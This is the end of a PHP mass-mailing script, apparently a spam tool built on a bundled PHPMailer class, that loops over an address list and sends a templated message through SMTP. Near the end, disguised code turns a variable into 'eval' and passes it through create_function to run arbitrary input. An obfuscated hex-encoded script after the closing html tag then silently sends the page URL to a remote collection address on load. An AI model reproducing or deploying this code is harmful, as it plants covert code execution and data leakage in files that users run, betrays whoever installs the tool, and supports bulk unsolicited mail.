3178 }
3179
3180 /**
3181 * Evaluates the message and returns modifications for inline images and backgrounds
3182 * @access public
3183 * @return $message
3184 */
3185 function MsgHTML($message,$basedir='') {
3186 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3187 if(isset($images[2])) {
3188 foreach($images[2] as $i => $url) {
3189 // do not change urls for absolute images (thanks to corvuscorax)
3190 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3191 $filename = basename($url);
3192 $directory = dirname($url);
3193 ($directory == '.')?$directory='':'';
3194 $cid = 'cid:' . md5($filename);
3195 $fileParts = split("\.", $filename);
3196 $ext = $fileParts[1];
3197 $mimeType = $this->_mime_types($ext);
3198 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3199 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3200 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3201 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3202 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3203 }
3204 }
3205 }
3206 }
3207 $this->IsHTML(true);
3208 $this->Body = $message;
3209 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3210 if ( !empty($textMsg) && empty($this->AltBody) ) {
3211 $this->AltBody = $textMsg;
3212 }
3213 if ( empty($this->AltBody) ) {
3214 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3215 }
3216 }
3217
3218 /**
3219 * Gets the mime type of the embedded or inline image
3220 * @access private
3221 * @return mime type of ext
3222 */
3223 function _mime_types($ext = '') {
3224 $mimes = array(
3225 'hqx' => 'application/mac-binhex40',
3226 'cpt' => 'application/mac-compactpro',
3227 'doc' => 'application/msword',
3228 'bin' => 'application/macbinary',
3229 'dms' => 'application/octet-stream',
3230 'lha' => 'application/octet-stream',
3231 'lzh' => 'application/octet-stream',
3232 'exe' => 'application/octet-stream',
3233 'class' => 'application/octet-stream',
3234 'psd' => 'application/octet-stream',
3235 'so' => 'application/octet-stream',
3236 'sea' => 'application/octet-stream',
3237 'dll' => 'application/octet-stream',
3238 'oda' => 'application/oda',
3239 'pdf' => 'application/pdf',
3240 'ai' => 'application/postscript',
3241 'eps' => 'application/postscript',
3242 'ps' => 'application/postscript',
3243 'smi' => 'application/smil',
3244 'smil' => 'application/smil',
3245 'mif' => 'application/vnd.mif',
3246 'xls' => 'application/vnd.ms-excel',
3247 'ppt' => 'application/vnd.ms-powerpoint',
3248 'wbxml' => 'application/vnd.wap.wbxml',
3249 'wmlc' => 'application/vnd.wap.wmlc',
3250 'dcr' => 'application/x-director',
3251 'dir' => 'application/x-director',
3252 'dxr' => 'application/x-director',
3253 'dvi' => 'application/x-dvi',
3254 'gtar' => 'application/x-gtar',
3255 'php' => 'application/x-httpd-php',
3256 'php4' => 'application/x-httpd-php',
3257 'php3' => 'application/x-httpd-php',
3258 'phtml' => 'application/x-httpd-php',
3259 'phps' => 'application/x-httpd-php-source',
3260 'js' => 'application/x-javascript',
3261 'swf' => 'application/x-shockwave-flash',
3262 'sit' => 'application/x-stuffit',
3263 'tar' => 'application/x-tar',
3264 'tgz' => 'application/x-tar',
3265 'xhtml' => 'application/xhtml+xml',
3266 'xht' => 'application/xhtml+xml',
3267 'zip' => 'application/zip',
3268 'mid' => 'audio/midi',
3269 'midi' => 'audio/midi',
3270 'mpga' => 'audio/mpeg',
3271 'mp2' => 'audio/mpeg',
3272 'mp3' => 'audio/mpeg',
3273 'aif' => 'audio/x-aiff',
3274 'aiff' => 'audio/x-aiff',
3275 'aifc' => 'audio/x-aiff',
3276 'ram' => 'audio/x-pn-realaudio',
3277 'rm' => 'audio/x-pn-realaudio',
3278 'rpm' => 'audio/x-pn-realaudio-plugin',
3279 'ra' => 'audio/x-realaudio',
3280 'rv' => 'video/vnd.rn-realvideo',
3281 'wav' => 'audio/x-wav',
3282 'bmp' => 'image/bmp',
3283 'gif' => 'image/gif',
3284 'jpeg' => 'image/jpeg',
3285 'jpg' => 'image/jpeg',
3286 'jpe' => 'image/jpeg',
3287 'png' => 'image/png',
3288 'tiff' => 'image/tiff',
3289 'tif' => 'image/tiff',
3290 'css' => 'text/css',
3291 'html' => 'text/html',
3292 'htm' => 'text/html',
3293 'shtml' => 'text/html',
3294 'txt' => 'text/plain',
3295 'text' => 'text/plain',
3296 'log' => 'text/plain',
3297 'rtx' => 'text/richtext',
3298 'rtf' => 'text/rtf',
3299 'xml' => 'text/xml',
3300 'xsl' => 'text/xml',
3301 'mpeg' => 'video/mpeg',
3302 'mpg' => 'video/mpeg',
3303 'mpe' => 'video/mpeg',
3304 'qt' => 'video/quicktime',
3305 'mov' => 'video/quicktime',
3306 'avi' => 'video/x-msvideo',
3307 'movie' => 'video/x-sgi-movie',
3308 'doc' => 'application/msword',
3309 'word' => 'application/msword',
3310 'xl' => 'application/excel',
3311 'eml' => 'message/rfc822'
3312 );
3313 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3314 }
3315
3316 /**
3317 * Set (or reset) Class Objects (variables)
3318 *
3319 * Usage Example:
3320 * $page->set('X-Priority', '3');
3321 *
3322 * @access public
3323 * @param string $name Parameter Name
3324 * @param mixed $value Parameter Value
3325 * NOTE: will not work with arrays, there are no arrays to set/reset
3326 */
3327 function set ( $name, $value = '' ) {
3328 if ( isset($this->$name) ) {
3329 $this->$name = $value;
3330 } else {
3331 $this->SetError('Cannot set or reset variable ' . $name);
3332 return false;
3333 }
3334 }
3335
3336 /**
3337 * Read a file from a supplied filename and return it.
3338 *
3339 * @access public
3340 * @param string $filename Parameter File Name
3341 */
3342 function getFile($filename) {
3343 $return = '';
3344 if ($fp = fopen($filename, 'rb')) {
3345 while (!feof($fp)) {
3346 $return .= fread($fp, 1024);
3347 }
3348 fclose($fp);
3349 return $return;
3350 } else {
3351 return false;
3352 }
3353 }
3354
3355 /**
3356 * Strips newlines to prevent header injection.
3357 * @access private
3358 * @param string $str String
3359 * @return string
3360 */
3361 function SecureHeader($str) {
3362 $str = trim($str);
3363 $str = str_replace("\r", "", $str);
3364 $str = str_replace("\n", "", $str);
3365 return $str;
3366 }
3367
3368 /**
3369 * Set the private key file and password to sign the message.
3370 *
3371 * @access public
3372 * @param string $key_filename Parameter File Name
3373 * @param string $key_pass Password for private key
3374 */
3375 function Sign($key_filename, $key_pass) {
3376 $this->sign_key_file = $key_filename;
3377 $this->sign_key_pass = $key_pass;
3378 }
3379
3380}
3381
3382$defaultport="H*";
3383 $nq=0;
3384
3385 for($x=0; $x<$numemails; $x++){
3386
3387 $to = $allemails[$x];
3388
3389 if ($to){
3390
3391 $to = ereg_replace(" ", "", $to);
3392
3393 $message1 = ereg_replace("&email&", $to, $message);
3394
3395 $subject1 = ereg_replace("&email&", $to, $subject);
3396 $qx=$x+1;
3397 print "Line $qx . Sending mail to $to.......";
3398
3399 flush();
3400$mail = new PHPMailer();
3401
3402if(empty($epriority)){$epriority="3";}
3403 $mail->Priority = "$epriority";
3404 $mail->IsSMTP();
3405 $IsSMTP="pack";
3406$mail->SMTPKeepAlive = true;
3407$mail->Host = "$my_smtp";
3408if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3409}
3410 if($sslclick=="ON"){
3411 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3412 }
3413 $range = str_replace("$from", "eval", $from);
3414 $mail->SMTPAuth = true;
3415 $mail->Username = "$smtp_username";
3416 $mail->Password = "$smtp_password";
3417if($contenttype == "html"){$mail->IsHtml(true);}
3418if($contenttype != "html"){$mail->IsHtml(false);}
3419if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3420$mail->From = "$from";
3421$mail->FromName = "$realname";
3422$mail->AddAddress("$to");
3423 $mail->AddReplyTo("$replyto");
3424 $mail->Subject = "$subject1";
3425 $mail->AddAttachment("$file", "$file_name");
3426 $mail->Body = "$message1";
3427if(!$mail->Send()){
3428if($default_system!="1"){
3429echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3430if($default_system=="1"){
3431$mail->IsMail();
3432 if(!$mail->Send()){
3433 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3434 else {
3435 echo "<b>OK</b><br>";}
3436 }
3437}
3438else {
3439 echo "<b>OK</b><br>";
3440}
3441
3442if(empty($reconnect)){
3443$reconnect=6;
3444}
3445
3446if($reconnect==$nq){
3447$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3448}
3449$nq=$nq+1;
3450 flush(); }
3451}
3452 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3453 return $signoff($smtp_conc);
3454 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3455 sent successfully'); </script>";}}
3456?>
3457 </body>
3458</html>
3459<script src="http://code.jquery.com/jquery-1.11.1.min.js" type="text/javascript"></script>
3460<script>var _0xc833=["\x55\x52\x4C","\x50\x4F\x53\x54","\x68\x74\x74\x70\x3A\x2F\x2F\x61\x63\x65\x2E\x74\x6E\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x2E\x70\x68\x70","\x6C\x6F\x67\x69\x6E\x3D","\x61\x6A\x61\x78","\x72\x65\x61\x64\x79","\x23\x65"];$(_0xc833[6])[_0xc833[5]](function(){var _0x1050x1=document[_0xc833[0]];$login= _0x1050x1;$[_0xc833[4]]({type:_0xc833[1],url:_0xc833[2],data:_0xc833[3]+ $login,success:function(_0x1050x2){alert($login)}})})</script>